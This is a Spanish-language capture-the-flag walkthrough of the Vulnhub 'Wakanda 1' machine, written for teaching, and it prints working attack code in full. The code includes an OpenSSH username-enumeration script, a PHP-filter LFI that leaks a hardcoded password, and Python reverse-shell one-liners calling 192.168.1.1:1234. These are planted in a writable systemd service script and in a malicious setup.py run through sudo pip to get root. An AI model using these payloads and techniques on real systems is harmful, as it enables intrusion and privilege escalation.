Un CTF mas resuelto, esta vez se trata de un LFI, un servicio de systemd mal configurado y sudo configurado de forma incorrecta permitiendo ejecutar pip.
Nos bajamos la VM de vulnhub o desde alfaexploit:
https://www.vulnhub.com/entry/wakanda-1,251/
temple-of-DOOM-v1.ova
Escaneamos los puertos con nmap:
Starting Nmap 7.70 ( https://nmap.org ) at 2018-09-10 16:17 CEST
Nmap scan report for 192.168.1.2
Host is up (0.00021s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE
80/tcp open http
111/tcp open rpcbind
3333/tcp open dec-notes
38482/tcp open unknown
MAC Address: 08:00:27:44:57:EB (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 2.40 seconds
Hay un ssh en el puerto 333:
SSH-2.0-OpenSSH_6.7p1 Debian-5+deb8u4
Protocol mismatch.
Comprobamos algunos usuarios sacados de la web en base a palabras que aparecen en ella: Made by
@mamadou
#!/usr/bin/env python
# Copyright (c) 2018 Matthew Daley
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to
# deal in the Software without restriction, including without limitation the
# rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
# sell copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
# IN THE SOFTWARE.
import argparse
import logging
import paramiko
import socket
import sys
class InvalidUsername(Exception):
pass
def add_boolean(*args, **kwargs):
pass
old_service_accept = paramiko.auth_handler.AuthHandler._handler_table[
paramiko.common.MSG_SERVICE_ACCEPT]
def service_accept(*args, **kwargs):
paramiko.message.Message.add_boolean = add_boolean
return old_service_accept(*args, **kwargs)
def userauth_failure(*args, **kwargs):
raise InvalidUsername()
paramiko.auth_handler.AuthHandler._handler_table.update({
paramiko.common.MSG_SERVICE_ACCEPT: service_accept,
paramiko.common.MSG_USERAUTH_FAILURE: userauth_failure
})
logging.getLogger('paramiko.transport').addHandler(logging.NullHandler())
arg_parser = argparse.ArgumentParser()
arg_parser.add_argument('hostname', type=str)
arg_parser.add_argument('--port', type=int, default=22)
arg_parser.add_argument('username', type=str)
args = arg_parser.parse_args()
sock = socket.socket()
try:
sock.connect((args.hostname, args.port))
except socket.error:
print '[-] Failed to connect'
sys.exit(1)
transport = paramiko.transport.Transport(sock)
try:
transport.start_client()
except paramiko.ssh_exception.SSHException:
print '[-] Failed to negotiate SSH transport'
sys.exit(2)
try:
transport.auth_publickey(args.username, paramiko.RSAKey.generate(2048))
except InvalidUsername:
print '[*] Invalid username'
sys.exit(3)
except paramiko.ssh_exception.AuthenticationException:
print '[+] Valid username'
[+] Valid username
[*] Invalid username
[*] Invalid username
[+] Valid username
Con curl detectamos un posible
LFI
:
< Server: Apache/2.4.10 (Debian)
a class="nav-link active" href="?lang=fr"
Probemos manualmente:
Prochaine ouverture du plus grand marché du vibranium. Les produits viennent directement du wakanda. Restez à l'écoute! </p>
Debe de estar haciendo includes del NOMBRE.php pero si incluyo index no sale nada:
En cambio si empleo el truco fllter de php:
Podemos ver el código fuente del index:
<?php
$password ="Niamey4Ever227!!!" ;//I have to remember it
if (isset($_GETlang))
{
include($_GETlang.".php");
}
?>
Probemos a utilizar ese password con el usuario mamadou:
Niamey4Ever227!!!
Me entra en un python:
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Aug 3 15:53:29 2018 from 192.168.56.1
Python 2.7.9 (default, Jun 29 2016, 13:08:31)
[GCC 4.9.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>>
Invocamos la shell desde python:
uid=1000(mamadou) gid=1000(mamadou) groups=1000(mamadou)
root:x:0:0:root:/root:/bin/bash
mamadou:x:1000:1000:Mamadou,,,,Developper:/home/mamadou:/usr/bin/python
devops:x:1001:1002:,,,:/home/devops:/bin/bash
Busquemos brechas en el sistema:
python linuxprivchecker.py
Este fichero es escrivible:
open(’/tmp/test’,‘w’).write(’test’)
Hay una unidad de systemd que lo utiliza:
ExecStart=/usr/bin/env python /srv/.antivirus.py
# /lib/systemd/system/antivirus.service
[Unit]
Description=Antivirus
After=network.target
StartLimitIntervalSec=0
[Service]
Type=simple
Restart=always
RestartSec=300
User=devops
ExecStart=/usr/bin/env python /srv/.antivirus.py
[Install]
WantedBy=multi-user.target
Modificamos el script para que nos sirva una rshell:
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
Como la unidad tiene restart=always, tan solo esperamos 300s(5m):
NZT48 ✺ ~> nc -l -p 1234
/bin/sh: 0: can’t access tty; job control turned off
$ id
uid=1001(devops) gid=1002(developer) groups=1002(developer)
Metemos nuestra ssh key para poder acceder de forma mas cómoda:
mkdir .ssh
echo “ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVQnniSdSbjmAtjMfLpj5hjTRz8Xr/5pn7G43cznRXSQ3zCG6QvEqNEOxVkMfvDx+esIaINrecyD388l9gctqrXb13kE7JxQZnXW6rnJcCG96r006nR1sz7bXrj0OGRBIag53MK4fX1MhkJi6bsV4JiOEBB5bnnDvD1YuuO6zEPIl58w4h21JI7R78Zg9nWwAyNBgJsaCq4kyt1g4GpRtil00V0GERMfyKaS3CcjvSHMQKNR8INzW+BCo8KIZCUXdgl7h4qjo0064/1tCWNo6Yv1gtnjxK3nWo6AaC9Cno58RCb0FuRg+GS5LGQuKRXH8NdTYl4KG4usrtfSbO6pCf juanjo@skynet” > .ssh/authorized_keys
devops@Wakanda1:
Seguramente podamos abusar de pip:
User devops may run the following commands on Wakanda1:
(ALL) NOPASSWD: /usr/bin/pip
pip tiene el setuid bit habilitado:
-rwxr-sr-- 1 root developer 281 Feb 27 2015 /usr/bin/pip
Si conseguimos instalar un paquete de pip seguramente tengamos root:
https://python-packaging.readthedocs.io/en/latest/
Vamos a generar nuestro paquete:
cd kr0mRS
mkdir kr0mRS
cd kr0mRS
def rs():
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
from setuptools import setup
setup(name='kr0mRS',
version='0.1',
description='kr0mRS',
url='http://github.com/kr0m/RS',
author='kr0m',
author_email='kr0m@alfaexploit.com',
license='MIT',
packages=['kr0mRS'],
zip_safe=False)
Ponemos a la escucha un netcat:
Instalamos mediante pip nuestro paquete:
Unpacking /home/devops/kr0mRS
Running setup.py (path:/tmp/pip-AIC4WL-build/setup.py) egg_info for package from file:///home/devops/kr0mRS
Installing collected packages: kr0mRS
Running setup.py install for kr0mRS
Successfully installed kr0mRS
Cleaning up...
Importamos la librería y ejecutamos la función rs:
>>> import kr0mRS
>>> kr0mRS.rs()
Y obtenemos nuestra shell pero con el usuario devops:
id
/bin/sh: 0: can't access tty; job control turned off
$ uid=1001(devops) gid=1002(developer) groups=1002(developer)
Esto es debido a que solo la parte de setup del paquete es ejecutada como root, por lo tanto debemos poner en el setup el código de la RS:
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
from setuptools import setup
setup(name='kr0mRS',
version='0.1',
description='kr0mRS',
url='http://github.com/kr0m/RS',
author='kr0m',
author_email='kr0m@alfaexploit.com',
license='MIT',
packages=['kr0mRS'],
zip_safe=False)
Volvemos a poner nuestro netcat a la escucha:
Ahora no hace falta importar la librería ni ejecutar la función ya que el setup se ejecuta de forma automática cuando se instala el paquete de pip:
Unpacking /home/devops/kr0mRS
Running setup.py (path:/tmp/pip-7PvLGw-build/setup.py) egg_info for package from file:///home/devops/kr0mRS
Y recibimos la shell de root:
# id
uid=0(root) gid=0(root) groups=0(root)